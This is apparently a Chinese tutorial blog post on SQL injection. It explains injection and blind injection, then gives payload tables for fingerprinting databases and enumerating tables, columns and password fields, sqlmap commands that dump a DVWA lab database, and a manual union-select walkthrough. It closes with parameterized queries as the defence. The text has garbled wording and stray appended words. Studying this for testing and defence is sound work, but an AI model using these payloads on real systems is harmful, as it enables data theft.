SQL注入理解与防护

1、说明

sql注入多是不少学习渗透测试的人接触的第一类漏洞,这很正常由于sql注入多是web最经典的漏洞。但在不少教程中有的只讲‘或and 1=一、and 1=2有的可能会进一步讲union select、update等注入时真正用的攻击语句,但即使是后者更多的感受像是跳到DBMS里去讲就是把数据库版本、数据库名、表名、列名这些都看成是已知的基于这个前提下去讲。而在实际攻击过程当中版本、数据库名、表名、列名都是须要本身去探测的。这就致使了你听过无数的sql注入理论和高深的利用方法,到本身去测试时只会and 1=1或祭出sqlmap。php

 

2、sql注入定义

sql注入就是闭合原先的sql语句并拼接上攻击者想要执行的sql语句。关键词是闭合和拼接。前端

2.1 注入举例

现有页面:http://example.com/app/accountView?id=1python

对应后台sql语句为:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";mysql

当前具体生成sql语句为:String query = "SELECT * FROM accounts WHERE custID='1';web

现攻击者将连接(id值)改成:http://example.com/app/accountView?id='or '1'='1sql

此时具体生成sql语句为:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';数据库

or前的分号就起“封闭原先的sql语句”做用,or '1'='1就是“拼接上”的“攻击者想要执行的sql语句”。安全

 

2.2 常见注入说明

仍使用上面的例子服务器

注入形式 造成注入语句 攻击原理及效果
’(单引号) String query = "SELECT * FROM accounts WHERE custID='‘' custID等于三个单引号,这种形式sql解析器解析时会报错,若是前端页面也报错一是说明该参数会带入sql解析器二是说明sql语句没作过滤

’and ‘1’=‘1restful

'and '1'='2

String query = "SELECT * FROM accounts WHERE custID='‘and '1'='1'

String query = "SELECT * FROM accounts WHERE custID='‘and '1'='2'

这两条一块儿使用,因为’1‘=’1‘恒为真因此应该有结果’1‘=’2‘恒为假因此应该没有结果,总之就是若是这二者能致使页面显示有区别,那也能够说明该参数带入sql解析器且没作过滤。

 

'or '1'='1  String query = "SELECT * FROM accounts WHERE custID=''or '1'='1'; 'or '1'='1页面正常返回多是注入成功了也多是作了过滤因此这种形式通常不能作为是否存在注入的检测方法;'or '1'='1做用是取回表中全部结果,最多见的是用于绕过登陆

 

 

 

 

 

 

 

当要注入的参数为整型时使用and1=1/and 1=2/or 1=1的形式,当要注入的参数为字符串类型时须要平衡单引号因此等用上表中带单引号的形式;在具体渗透时咱们不知道是整型仍是字符串类型只能靠正常访问时赋给变量的值来作推测,通常来说主要是以字符串类型存诸即使是数字也常常存为字符串取出时再转为整型。

'or '1'='1咱们上边说其“最多见的是用于绕过登陆”。《Metasploit渗透测试魔鬼训练营》就使用了绕过登陆的例了,但绕过登陆如今并不那么好用除了登陆是重点防御区域以外如今都很强调密码加密,password参数取回后先被md5(password)其中的单引号根本没有“闭合”“拼接”的机会。固然'or '1'='1“做用是取回表中全部结果”,因此其余地方仍是有用武之地的。

另外还有'or 'a'='a这类形式,这是为了防上服务端专门针对'or '1'='1过滤而用的变种形式其本质仍是同样的。

平衡右单引号也不是必须的,咱们有时还能够看到‘or 1=1 --的形式,--是sql语句的注释符号使用--右边的单引号就被注释掉不起做用了因此不须要平衡。其实--在注入不是原sql最后一个词时有更大的用处,好比假设存在语句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin帐号chageable为no那么注入admin'or '1'='1也是改不了admin帐号的密码的,但注入admin' --就能够改。

 

2.3 sql注入位置

咱们要明确如下三点:

参数被带入数据库时,被带入的CRUD的任何一处(即select、insert、update、delete)都是有可能的。

从理论上来说,不管被被带入的是select、insert、update、delete咱们都能注入任意的sql语句进行数据库操做。

想直接获取数据表内容那只能拼接select语句,insert、update、delete这三条语句也能在其后拼接select语句,可是因为这三条语句的服务器代码不会向前端返回数据的代码,因此若是参数被带入的是insert、update、delete拼接直接查询数据表内容的select语句是没有意义的(固然exists大于等于等符件性select仍是有用,因此下方3.7.1获取数据表内容的方法仍是可用的)。想直接获取数据表内容须要能注入的语句本来就是select语句(下方3.7.2 union select法)。

 

2.4 sql盲注

2.4.1 盲注与普通注入的区别

普通注入有两个特征:一是会将数据库的内容查询并回显到页面上(这是最主要的),二是会返回原始的数据库错误信息(这是次要的)。数据会回显到页面上,那么咱们能够从返回的页内中提取咱们的数据库名等数据。

回显内容(admin处):

返回原始数据库错误信息:

盲注对应的也有两个特征:一是不会将数据库内容回显到页面上(这是主要的),二是不会返回原始的数据库错误信息。

不会将数据库内容回显到页面上(只告诉你存不存在):

不会返回原始的数据库错误信息(返回的是自定义的错误信息):

 

2.4.2 盲注如何进行

盲注场景中内容不回显到页面上,咱们就无法从页面提取内容,那咱们该如何获取数据库内容呢。只有一种办法,那就是把咱们的猜想构形成一个布尔表达式。

若是返回的内容和原来同样那该表达式的猜想就是对的,若是返回的内容和原来不同那该表达式的猜想就是错的。好比"SELECT * FROM accounts WHERE custID='1' and (length(database()))=8 -- "若是返回内容和原来同样(此时即and 1)那说明数据库名称长度为8字节,若是不同(此时即and 0)则不是8字节,继续猜。

但“和原来同样”这个说法可能有点问题,即咱们须要监测原来是怎样的如今是怎样的而后比较,这有点麻烦。咱们改形成“SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- ”,若是查询出现了3秒延迟那说明数据库名长度为8字节,若是没出现延迟则不是8字节,继续猜。

比较和原来是否同样的形式即布尔型盲注,构造延时这种形式即时间型盲注。

 

3、sql注入攻击步骤

咱们使用sqlmap或者更早之前的啊D、明小子,sql注入都是有必定步骤的,步骤也都是同样的;手工注入同样遵循这样的步骤只是将工具各步敲的注入代码改成手动敲就而已。

可经过三种办法探测sqlmap在各步中到底注入了哪些语句,第一种是阅读源代码这要要有较强的能力我试了一下并不能驾御。第二种是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(该文件其实就是执行sqlmap整个过程的控制台输出)sqlmap每次发的数据包都会以”Type-Title-Payload“三元组记录。第三种是使用wireshark或带上--proxy="http://127.0.0.1:8080"参数使用burpsuite截取sqlmap发送的数据包(sqlmap在ouput目录下的文件有记住前面对连接的探测结果,即使其log文件中说本次探测发了这些payload其实也不必定真的发了,拦到的数据包和log感受对不上时要明白这一点)。

下边各步注入代码整理自《大中型网络入侵要案直击与防护》没有逐条核实,简单对比了一下sqlmap探测的载荷在编码等方面有差异但意思是基本一致的,也就差很少了。

另外常会据说数据库提权,咱们要明确系统帐号能够是数据库帐号但数据库帐号不多是系统帐号,所谓数据库提权只是调用能执行系统命令的数据库扩展添加系统帐号。

在确认是注入点以后,注入获取库名、表名、列名、字段内容,其考验的再也不是什么渗透测试能力,而是对sql和当前数据库(好比oracle)的熟练程度。

这里使用dvwa做为演示环境,演示的是普通sql注入的注入过程,盲注须要另行将注入语句改形成相似“1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- ”的形式。

 

3.1 使用sqlmap的攻击步骤

# 查看sqlmap帮助 python sqlmap.py -h # 查看sqlmap详细帮助 python sqlmap.py -hh # 如下各步,注意使用--data设置post内容,使用--cookie设置cookie,使用--referer设置referer,使用--proxy设置代理 # 如下各步,我以dvwa为例,但为了观察体验将有身份认证信息的--cookie删除了,本身用dvwa要注意带上--cookie # 如下各步,若是中途出现选择本身不懂选哪一个,推荐直接按回车使用sqlmap默认值 # 第一步,确认目标参数。若是是get那么直接用-u接url便可,如是是post那么须要使用--data="username=admin&password=toor"形式 # 第二步,确认动态参数。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出数据库类型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出数据库名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解数据库表。使用-D指定要猜解数据表的数据库,假设为dvwa数据库 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定数据库,使用-T指定要猜解字段名的表,假设为dvwa数据库数据表为users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定数据库,使用-T指定表,使用-C指定要猜解其内容的列,假设为dvwa数据库数据表为users列为user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖库。其实使用--dump时就已经将数据以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目录下 # 第八步,拖库。咱们可使用--dump-format配置输出格式,使用 --output-dir重定向输出目录。 # 第八步,拖库。参数指定到什么范围就下载什么范围的数据,如下载dvwa库users表全部以SQLITE格式输出到当前目录为例(本质还是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.

 

3.2 手工注入的攻击步骤

第一步,确认目标参数

咱们首先要肯定要测试哪些参数。在之前参数仍是比较容易肯定的,好比前面说的http://example.com/app/accountView?id=1,问号后边的参数大可能是动态参数。

但如今都讲restful,因此首先参数并不必定在问号后边,好比url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,因此目标要从url更多转移到post数据上。

第二步,确认动态参数

动态参数就是带入数据库的参数,不少参数是不带入数据库的而只有带入数据库的参数才有可能致使sql注入,因此咱们须要确认哪些参数是动态参数。

没具体去分析sqlmap等工具是怎么肯定一个参数是否是动态参数,咱们可使用前面说的单引号法和1=1/1=2法,若是参数有过滤不能注入那咱们权当他不是动态参数也同样的。

第三步,爆出数据库类型

由于虽然数据库都兼容sql92但不一样的数据库其具备的系统库表和扩展功能都是不同的,这致使咱们后续查询库名、表名、列名具体注入语句会随数据库的不一样而有差别,因此首先要确认服务端使用的是什么数据库,是oracle仍是mysql仍是其余。

和检测操做系统等相似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,因此应该能够整理出更多的检测语句。

数据库 注入语句 原理 用处
access and user>0 user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 msqql和access报错不同可区分数据库是mssql仍是access

mssql

and (select count(*) from sysobjects) >= 0

and (select count(*) from msysobjects) >= 0

mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错

access不存在sysobjects存在msysobjects,上句会报错下句不会报错

可用于确认数据库是mssql仍是access

multi

 /*

--

;

 mysql支持的注释

mssql和oracle支持的注释

oracle不支持多行

 报错说明不是mysql

不报错多是mssql或oracle

报错极有多是oracle

mysql

select @@version

select database()

@@version是mysql的内置变量

database()是mysql的内置函数

返回正常多是mysql

oracle

and exists(select * from dual)

and (select count(*) from user_tables)>0 --

dual和user_tables是oracle的系统表

若是返回正常则说明是oracle

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第四步,爆出数据库名

数据库 注入语句 说明
access   access一个数据库对应一个文件,获取文件名没有很大意义
mssql

and db_name() = 0

and db_name(n) > 0

从返回的报错信息中可获取当前数据库名

返回的报错信息中有第n个数据库的库名

mysql

and 1=2 union select 1,database()/*

and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1

select group_concat(schema_name) from information_schema.schemata

爆出当前数据库名

n为几就返回第几个数据库的库名返回空就表示没有更多数据库了

返回全部数据库名

oracle

 and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual

 返回第一个库名

返回当前用户所拥有的下一库名

 

 

 

 

 

 

 

 

 

 

 

 

第五步,猜解数据库表名

数据库 注入语句  说明
access

and exists(select * from table_name)

and (select count(*) from table_name) >= 0

 不断测试table_name

若是返回正常那说明该表存在

 mssql

and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 --

and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0--

and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) --

 可爆出当前数据库表的数量

n为几就输出第几张表的表名

n为几就输出db_name库第几张表的表名

 mysql

 and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1--

select group_concat(table_name) from information_schema.tables where table_schema=database()

 n为几就返回当前第几张表的表名

返回当前库的全部表名

oracle

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual

返回第一个表名

返回下一个表名

返回包含pass的表名

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第六步,猜解字段名

数据库 注入语句  
access

and exists(select column_name from table_name)

and (select count(column_name) from table_name) >=0

 table_name使用上一步获得的表名,不断试column_name

若是返回正常则说明该字段存在

 mssql

having 1=1 --

group by 字段名1 having 1=1 --

group by 字段名1,字段名2 having 1=1 --

可获取表名和第一个字段名

 能够获得第二个字段名

能够获得第三个字段名

 mysql

 and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1--

select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name

 ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名

返回指定表名的全部字段

oracle

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual

返回第一个字段名

返回下一个字段名

 

 

 

 

 

 

 

 

 

 

 

 

 

 

第七步,猜解字段值

获取字段内容,各数据库的方法是比较通用的,固然也有一些本身特点的获取方法我这里就无论了

方法一:逐字节猜解法

首先猜解出字段长度,而后再逐字节猜解。

and (select top 1 len(column_name) from table_name > 1

and (select top 1 len(column_name) from table_name > 2

..

and (select top 1 len(column_name) from table_name > n-1

and (select top 1 len(column_name) from table_name > n

当n-1正常n错误时说明字段长度为n(二分法快一些)

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1

..

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1

and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n

n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n便可

 

方法二:union select法

上边的逐字节猜解法是至关费劲的,使用union select能更快捷地获取字段值。

因为union select要求两边的select返回的select字段数要同样,因此首先使用order by猜解前边select返回结果的字段数:

order by 1

order by 2

...

order by n-1

order by n

n-1正常,n报错时说明原先select字段数为n

而后使用union select查出表中内容

and 1=2 union select 1,2...,n from table_name----and 1=2是为了使本来的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容

and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容

 

3.3 手工注入演示

环境使用phpStudy+DVWA,为了更形象地还原注入场景咱们真接在页面演示,并会给出注入时真正执行的SQL语句。

第一步,确认目标参数。请求连接为http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,因此目标参数为id和Submit。

第二步,确认动态参数。Submit是按钮不是动态参数直接跳过;输入“1' and 1 = 1 -- ”时无报错且有结果,输入“1' and 1 = 2 -- ”时无报错无结果,因此判断id是可注入参数且为字符串类型。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)

第三步,确认当前查询列数。注入载荷”1' order by n -- “,执行到n为3时报错(Unknown column '3' in 'order clause'),说明原先的查询语句是两列。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)

第四步,确认哪些列会被回显到页面上。注入“1' and 1 = 2 union select 1,2 -- ”,能够看到第一列和第二列都会回显到页面上,且第一列是First name的值第二列是Surname的值。

第五步,爆出数据库类型。将第二列改成@@version,注入“1' and 1 = 2 union select 1,@@version -- ”,有返回结果且为5.5.53,因此判断数据库为mysql且版本为5.5.53。

 (真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)

第六步,爆出数据库名。经上步咱们已经知道是mysql因此能够肯定地使用mysql的注入载荷。注入“1' and 1=2 union select 1,database() -- ”,可见当前数据库名为dvwa。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)

第七步,猜解数据库表名。注入“1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ”,返回结果说明当前数据库中有guestbook和users两个表。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)

 第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",从返回结果能够看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等几列。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)

第九步,猜解字段值。以获取当前数据库,users表,first_name和password列为例。注入"1' and 1=2 union select first_name,password from users -- ",获取内容以下图。

(真实执行sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)

 

4、SQL注入防护

构造的sql语句时使用参数化形式而不使用拼接方式可以可靠地避免sql注入;主流的数据库和语言都支持参数化形式,可参考维基百科“参数化查询”。

拼接加对输入进行单引号和sql关键字过滤的方法也能在必定程度上防御sql注入,可是因为数据库的具备注释符/链接符、支持十六进制写法、具备char()等编码函数可使sql语句变换成多种多样的形式,因此这种方法并不可靠。

 

参考:

https://www.acunetix.com/websitesecurity/blind-sql-injection/

德丸浩-《Web应用安全权威指南》

肖遥-《大中型网络入侵要案直击与防护》

相关文章
相关标签/搜索